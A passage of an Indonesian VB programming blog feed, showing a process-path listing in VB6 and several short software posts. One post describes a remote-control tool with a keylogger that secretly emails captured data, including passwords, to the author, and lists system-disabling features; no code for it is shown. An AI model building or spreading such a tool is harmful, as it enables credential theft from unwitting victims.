x-small;"&gt;LstPathFile.Selected(ListProsesAktif.ListIndex) = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstPathFile.TopIndex = ListProsesAktif.TopIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstPathFile.ListIndex = ListProsesAktif.ListIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub ListProsesAktif_Scroll()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstIDProcess.TopIndex = ListProsesAktif.TopIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstPathFile.TopIndex = ListProsesAktif.TopIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub LstIDProcess_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;On Error Resume Next&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ListProsesAktif.Selected(LstIDProcess.ListIndex) = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ListProsesAktif.TopIndex = LstIDProcess.TopIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ListProsesAktif.ListIndex = LstIDProcess.ListIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub LstIDProcess_Scroll()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ListProsesAktif.TopIndex = LstIDProcess.TopIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub LstPathFile_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstIDProcess.Selected(LstPathFile.ListIndex) = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstIDProcess.TopIndex = LstPathFile.TopIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstIDProcess.ListIndex = LstPathFile.ListIndex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstPathFile.ToolTipText = LstPathFile.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Timer1_Timer()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If Second(Now) Mod 1 = 0 Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If LblIndexListProses.Caption = 0 Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ListProsesAktif.Selected(LblIndexListProses.Caption) = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblIndexListProses.Caption = LblIndexListProses.Caption + 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;' otomatis index terseleksi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstPathFile.AddItem PathByPID(LstIDProcess.Text)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ListProsesAktif.Selected(LblIndexListProses.Caption - 1) = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblIndexListProses.Caption = LblIndexListProses.Caption + 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstPathFile.AddItem PathByPID(LstIDProcess.Text)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If ListProsesAktif.Selected(LstIDProcess.NewIndex) = True Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Timer1.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LstPathFile.Selected(ListProsesAktif.ListIndex) = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;Masukkan code ini pada module&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="  margin: 0px;  padding: 3px;  border: 1px inset;  width: 500px;  height: 498px;  text-align: left;  overflow: auto"&gt;&lt;span style="font-size: x-small;"&gt;Public Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Declare Function Process32First Lib "kernel32" (ByVal _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;hSnapshot As Long, lppe As PROCESSENTRY32) As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Declare Function Process32Next Lib "kernel32" (ByVal _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;hSnapshot As Long, lppe As PROCESSENTRY32) As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'Enum the path&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Declare Function CloseHandle Lib "kernel32.dll" (ByVal hHandle As Long) As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Const MAX_PATH As Integer = 260&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Const TH32CS_SNAPALL = (&amp;amp;H1 Or &amp;amp;H2 Or &amp;amp;H4 Or &amp;amp;H8)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Const PROCESS_QUERY_INFORMATION As Long = &amp;amp;H400&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Const PROCESS_VM_READ = &amp;amp;H10&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Declare Function EnumProcessModules Lib "psapi.dll" ( _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ByVal hProcess As Long, _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ByRef lphModule As Long, _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ByVal cb As Long, _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ByRef cbNeeded As Long) As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Declare Function GetModuleFileNameExA Lib "psapi.dll" ( _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ByVal hProcess As Long, _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ByVal hModule As Long, _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ByVal ModuleName As String, _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ByVal nSize As Long) As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Type PROCESSENTRY32&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;dwSize As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;cntUsage As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;th32ProcessID As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;th32DefaultHeapID As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;th32ModuleID As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;cntThreads As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;th32ParentProcessID As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;pcPriClassBase As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;dwFlags As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;szExeFile As String * 260&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Type&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Function Update()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'On Error Resume Next&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim hSnapshot As Long, uProcess As PROCESSENTRY32, R As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmMain.ListProsesAktif.Clear&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmMain.LstIDProcess.Clear&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmMain.LstPathFile.Clear&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&amp;amp;)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;uProcess.dwSize = Len(uProcess)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;R = Process32First(hSnapshot, uProcess)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Do While R&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmMain.ListProsesAktif.AddItem Left$(uProcess.szExeFile, IIf(InStr(1, uProcess.szExeFile, Chr$(0)) &amp;gt; 0, InStr(1, uProcess.szExeFile, Chr$(0)) - 1, 0))&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmMain.ListProsesAktif.ItemData(FrmMain.ListProsesAktif.NewIndex) = uProcess.th32ProcessID&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmMain.LstIDProcess.AddItem (uProcess.th32ProcessID)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;R = Process32Next(hSnapshot, uProcess)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmMain.TxtSumProcess.Caption = FrmMain.ListProsesAktif.ListCount &amp;amp; " Win Process"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Loop&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;CloseHandle hSnapshot&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Function&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Public Function PathByPID(pid As Long) As String&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'Fungsi ini berfungsi untuk mendapatkan informasi tentang aplikasi yang sedang&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'berjalan dengan menggunakan Process ID masing-masing aplikasi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'----&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'Kode ini dapat dilihat di :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'http://support.microsoft.com/default.aspx?scid=kb;en-us;187913&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;On Error Resume Next&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim cbNeeded As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim Modules(1 To 200) As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim ret As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim ModuleName As String&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim nSize As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim hProcess As Long&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;hProcess = OpenProcess(PROCESS_QUERY_INFORMATION _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Or PROCESS_VM_READ, 0, pid)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If hProcess &amp;lt;&amp;gt; 0 Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ret = EnumProcessModules(hProcess, Modules(1), _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;200, cbNeeded)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If ret &amp;lt;&amp;gt; 0 Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ModuleName = Space(MAX_PATH)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;nSize = 500&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ret = GetModuleFileNameExA(hProcess, _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Modules(1), ModuleName, nSize)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;PathByPID = Left(ModuleName, ret)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;ret = CloseHandle(hProcess)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If PathByPID = "" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;PathByPID = "FILE WINDOWS"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If Left(PathByPID, 4) = "\??\" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;PathByPID = "FILE WINDOWS"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If Left(PathByPID, 12) = "\SystemRoot\" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;PathByPID = "FILE WINDOWS"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;FrmMain.ListProsesAktif.Selected(ListProsesAktif.NewIndex) = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Function&lt;/span&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;Semoga bermanfaat&lt;br /&gt;Download &lt;a href="http://www.ziddu.com/download/11556004/PathWinProccess.rar.html"&gt;PathWinProccess&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-3124526266646033226?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/3124526266646033226/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2010/09/path-windows-proccess.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/3124526266646033226'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/3124526266646033226'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2010/09/path-windows-proccess.html' title='Path Windows Proccess'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_48czvH0DaKc/TIUpaL9REgI/AAAAAAAAAXI/9qnlyKe65EQ/s72-c/PathWinProccess.PNG' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-1600765784947660284</id><published>2010-08-22T23:41:00.001+07:00</published><updated>2010-08-22T23:43:43.626+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software'/><title type='text'>Membuat CD Presentasi Pembelajaran Bab Virus</title><content type='html'>Pertengahan tahun 2009 yang lalu saya mendapatkan panggilan untuk sertifikasi guru, tentu saja bidang studi Biologi. Untuk bahan-bahan yang dikumpulkan antara lain SK (surat Keputusan) selama kita menjadi guru, RPP, media pengajaran dan lain-lain. Untuk media pengajaran karena media presentasi berupa power point juga sudah banyak yang bisa maka saya berusaha membuat media pengajaran yang berbeda dari kebanyakan yaitu berupa CD presentasi pembelajaran interaktif dengan Visual basic sebanyak 5 buah, dan alhamdulillah kesemuanya mendapatkan poin/penilaian. Disini akan saya bagikan file aplikasi presentasi tersebut, salah satunya adalah CD Pembelajaran Bab Virus.&lt;br /&gt;Aplikasi presentasi ini bersifat fleksibel sehingga anda dapat menggunakannya untuk materi-materi yang lainnya misalkan membuat presentasi bab Protista, Bab Fungi dan lain-lain. Dan andapun dapat menuliskan nama, sekolah, kelas anda untuk menggantikan identitas saya.&lt;br /&gt;Untuk lebih jelasnya anda dapat mengotak-atik sendiri file-file yang telah ada dan kemudian menjalankan aplikasi tersebut, otak-atik lagi dan jalankan lagi..hehe..&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://a.imageshack.us/img840/6616/screenshotbabvirus.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="390" src="http://a.imageshack.us/img840/6616/screenshotbabvirus.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Terimakasih telah membaca dan berkunjung&lt;br /&gt;Download&amp;nbsp;&lt;a href="http://www.ziddu.com/download/11331325/CD%20Pembelajaran%20Bab%20Virus.rar.html"&gt;CD Interaktif Pembelajaran Bab Virus&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-1600765784947660284?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/1600765784947660284/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2010/08/membuat-cd-presentasi-pembelajaran-bab.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/1600765784947660284'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/1600765784947660284'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2010/08/membuat-cd-presentasi-pembelajaran-bab.html' title='Membuat CD Presentasi Pembelajaran Bab Virus'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-9150273809656823301</id><published>2010-08-01T01:07:00.005+07:00</published><updated>2010-08-01T19:17:43.450+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HACK'/><category scheme='http://www.blogger.com/atom/ns#' term='Software'/><title type='text'>Remote Desktop - Pengontrol Komputer Orang Lain</title><content type='html'>Aplikasi ini dibuat HANYA dengan tujuan pembelajaran mengenai Pemrograman Remote Desktop Client - Server, dengan sudut pandang dari sisi hitamnya. Karena disatu sisi terdapat fasilitas yang menguntungkan bagi si pemegang aplikasi Client namun disisi lain dapat merugikan orang yang komputernya berjalan aplikasi server.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://a.imageshack.us/img441/8187/remotedesktop.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="300" src="http://a.imageshack.us/img441/8187/remotedesktop.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Screenshot Client.exe setelah terkoneksi dengan Server.exe&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Harap Diperhatikan bahwa semua bentuk kerugian pada anda atau kerugian pada pihak lain yang diakibatkan penggunaan program "REMOTE DESKTOP" ini, bukan merupakan tanggung jawab saya sebagai penyusun program. Semua bentuk kerugian tersebut sepenuhnya menjadi tanggung jawab anda yang menjalankan aplikasi "REMOTE DESKTOP". Jika anda tidak setuju dengan hal ini lebih baik jangan gunakan aplikasi ini dan hapus dari komputer anda melalui tombol "Clear Your PC" yang ada pada form login aplikasi "Client.exe".&lt;br /&gt;&lt;br /&gt;Tetapi jika anda setuju, maka harus diingat bahwa jika aplikasi "Server" berjalan di komputer anda dan anda terhubung dengan internet serta jika website untuk mengirim email secara anonim dapat diakses serta Kontrol Check Untuk memperbolehkan pengiriman e-mail ke VBasicCode anda centang maka otomatis setiap 15 menit "server" akan mengirim informasi ke account email saya, sehingga saya dapat mengambil keuntungan dari hasil keylogger yang tertanam di "server".&lt;br /&gt;HATI-HATI JANGAN SAMPAI SAYA MENGETAHUI PASSWOR ANDA!!!.&lt;br /&gt;&lt;br /&gt;Aplikasi Ini Dibuat dan Di Coba Pada System Windows XP SP 2, kadang masih dijumpai Bugs yaitu, Bugs pada proses Pengiriman email yang kadang gagal kadang berhasil, hal ini disebabkan karena web yang dipilih untuk pengiriman secara anonim kadang tidak dapat diakses sehingga email dari server tidak terkirim. Untuk mengatasi hal ini maka download dan gunakan aplikasi emailbomber yang telah saya upload sebelumnya untuk mengetahui webserver yang memiliki fasilitas pengiriman e-mail Anonim. Jika telah mendapatkan webserver dengan fasilitas ini maka tulis secara lengkap alamat webserser tersebut ke dalam file "Webserver.txt" yang secara otomatis akan dihasilkan jika anda menjalankan "Client.exe".&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Fitur&lt;/b&gt;&lt;br /&gt;Fitur yang ada pada aplikasi ini adalah:&lt;br /&gt;Cek IP Address&lt;br /&gt;Otomtatis Kirim e-mail&lt;br /&gt;Cek Pengiriman e-mail&lt;br /&gt;Update WebServer e-mail Anonim&lt;br /&gt;ScreenShot&lt;br /&gt;Keylogger&lt;br /&gt;Upload Download&lt;br /&gt;Chating&lt;br /&gt;Pesan Pop-Up&lt;br /&gt;Shutdown, Restart, Log Off&lt;br /&gt;Minimize Semua Window&lt;br /&gt;Show Hide Start Button&lt;br /&gt;Enable Disable Start Button&lt;br /&gt;Ubah Resolusi Monitor&lt;br /&gt;Balik Layar Monitor&lt;br /&gt;Wallpaper&lt;br /&gt;Screen Saver&lt;br /&gt;Open Close CD-Rom&lt;br /&gt;Disable Enable Task Manager&lt;br /&gt;Disable Enable Regedit&lt;br /&gt;Show Hide Taskbar&lt;br /&gt;Show Hide Clock&lt;br /&gt;Kunci File executable&lt;br /&gt;Disable Enable System Restore&lt;br /&gt;Ubah Owner&lt;br /&gt;Ubah Organization&lt;br /&gt;Show Hide Icon Desktop&lt;br /&gt;Get Versi Windows&lt;br /&gt;Open Directory&lt;br /&gt;Delete&lt;br /&gt;Remove&lt;br /&gt;Empty&lt;br /&gt;Kill&lt;br /&gt;Run&lt;br /&gt;Mouse&lt;br /&gt;View Time Server&lt;br /&gt;Timer Connect/DisConnect Internet&lt;br /&gt;Timer Shutdown&lt;br /&gt;Tweak Registry&lt;br /&gt;Close Windows Process&lt;br /&gt;Del Windows Process&lt;br /&gt;&lt;br /&gt;Pada akhirnya saya ucapkan terimakasih telah sudi membaca dan memnggunakan aplikasi ini. Semoga bermanfaat dan menambah Pengetahuan.&lt;br /&gt;&lt;br /&gt;Salam.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-9150273809656823301?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/9150273809656823301/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2010/08/remote-desktop-pengontrol-komputer.html#comment-form' title='19 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/9150273809656823301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/9150273809656823301'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2010/08/remote-desktop-pengontrol-komputer.html' title='Remote Desktop - Pengontrol Komputer Orang Lain'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><thr:total>19</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-8575012594749391019</id><published>2010-06-22T14:36:00.002+07:00</published><updated>2010-07-16T23:29:43.923+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips And Trick'/><title type='text'>ShowHideFileFolder.exe - Aplikasi Pengubah Attribut File</title><content type='html'>Kadang kala bila komputer/flashdisk kita pernah kena virus maka file  atau folder akan disembunyikan oleh virus karena beratribut  HiddenSystemReadonly, user awam kadang malah menganggap file telah  dihapus oleh virus padahal belum tentu. Untuk mengembalikan file folder  yang disembunyikan virus gunakan aplikasi ShowHideFileFolder.exe.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img266.imageshack.us/img266/6303/40466473.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="109" src="http://img266.imageshack.us/img266/6303/40466473.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/10392214/ShowHideFileFolder.rar.html"&gt;Klik untuk Download Aplikasi dan Project ShowHideFileFolder&lt;/a&gt;&lt;br /&gt;Semoga bermanfaat!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-8575012594749391019?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/8575012594749391019/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2010/06/showhidefilefolderexe-aplikasi-pengubah.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/8575012594749391019'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/8575012594749391019'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2010/06/showhidefilefolderexe-aplikasi-pengubah.html' title='ShowHideFileFolder.exe - Aplikasi Pengubah Attribut File'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-7534635071701064523</id><published>2010-06-19T16:14:00.011+07:00</published><updated>2010-07-16T23:30:21.813+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bisnis Online'/><title type='text'>NeoRefStat.Exe - Neobux Referrals Stats</title><content type='html'>Aplikasi yang saya buat khusus bagi anda yang 